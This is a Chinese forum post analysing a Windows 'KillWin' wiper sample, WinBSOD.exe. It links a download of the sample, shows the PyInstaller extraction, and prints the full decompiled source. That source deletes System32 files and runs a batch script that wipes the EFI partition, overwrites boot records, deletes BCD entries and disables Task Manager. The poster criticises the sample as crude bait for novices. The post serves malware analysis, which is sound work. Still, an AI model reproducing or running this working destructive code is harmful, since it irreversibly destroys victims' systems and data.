本帖最后由 YYT2013 于 2026-7-28 20:53 编辑
一年两度(寒暑假)的KillWin又来了
https://win11dncmd.lanzouu.com/i7mZ63z967wd
还是拆个代码吧:
然后
- R:\>pyinstxtractor.py WinBSOD.exe
- [+] Processing WinBSOD.exe
- [+] Pyinstaller version: 2.1+
- [+] Python version: 3.13
- [+] Length of package: 11245744 bytes
- [+] Found 998 files in CArchive
- [+] Beginning extraction...please standby
- [+] Possible entry point: pyiboot01_bootstrap.pyc
- [+] Possible entry point: pyi_rth_inspect.pyc
- [+] Possible entry point: pyi_rth__tkinter.pyc
- [+] Possible entry point: Destroyer.pyc
- [!] Warning: This script is running in a different Python version than the one used to build the executable.
- [!] Please run this script in Python 3.13 to prevent extraction errors during unmarshalling
- [!] Skipping pyz extraction
- [+] Successfully extracted pyinstaller archive: WinBSOD.exe
- You can now use a python decompiler on the pyc files within the extracted directory
复制代码 然后:https://pylingual.io/- # Decompiled with PyLingual (https://pylingual.io)
- # Internal filename: 'Destroyer.py'
- # Bytecode version: 3.13.0rc3 (3571)
- # Source timestamp: 1970-01-01 00:00:00 UTC (0)
- import os
- import ctypes
- import sys
- import time
- from tkinter.messagebox import *
- import threading
- from GDI_effects.GDI import *
- def require_admin():
- if not ctypes.windll.shell32.IsUserAnAdmin():
- ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, __file__, None, 1)
- def delete_system_files():
- system32 = os.environ['WINDIR'] + '\\System32'
- for root, _, files in os.walk(system32):
- for file in files:
- try:
- os.remove(os.path.join(root, file))
- except:
- pass
- def abdestroy():
- a = '\nmountvol X: /S & del X:\\*.*/s/f/q & rd /s/q X:\\EFI\ndate 7600-12-12\nmkdir "C:\\Windows\\System32\\config\\OSDATA"\nfsutil volume dismount C:\nfsutil dirty set C:\nbootsect /nt60 ALL /mbr /force\nbcdedit /set {bootmgr} device none\nbcdedit /set {bootmgr} path no\nbcdedit /set {default} device none\nbcdedit /set {default} path no\nbcdedit /deletevalue {bootmgr} path\nbcdedit /deletevalue {default} osdevice\nbcdedit /deletevalue {default} device\nbcdedit /delete {default} /f\nbcdedit /delete {bootmgr} /f\nbcdedit /createstore nul >nul 2>&1\nreg add "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f\nreg add "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoDesktop /t REG_DWORD /d 1 /f\n'
- with open('C:/autorec.bat', 'w') as f:
- f.write(a)
- os.startfile('C:/autorec.bat')
- def texiao():
- def fx1():
- while True:
- Effects.type_text('Your computer have been destroyed!', 200)
- def fx2():
- while True:
- Effects.invert_screen(repeat=200)
- def fx3():
- while True:
- Effects.flip_screen_upside_down(repeat=200)
- t1 = threading.Thread(target=fx1, daemon=True)
- t2 = threading.Thread(target=fx2, daemon=True)
- t3 = threading.Thread(target=fx3, daemon=True)
- t1.start()
- t2.start()
- t3.start()
- t1.join()
- t2.join()
- t3.join()
- if __name__ == '__main__':
- if askyesno('Warning', '此程序为病毒,是否运行?'):
- require_admin()
- delete_system_files()
- abdestroy()
- texiao()
复制代码
没想到吧写了大半天,本质上还是一个bat启动器,一到寒暑假就会出现的低质量东西,然后b站上标题起的天花乱坠,最后坑的是那些不懂电脑的小白(比如认为卡巴斯基是垃圾)这种东西当玩具看看就行了
|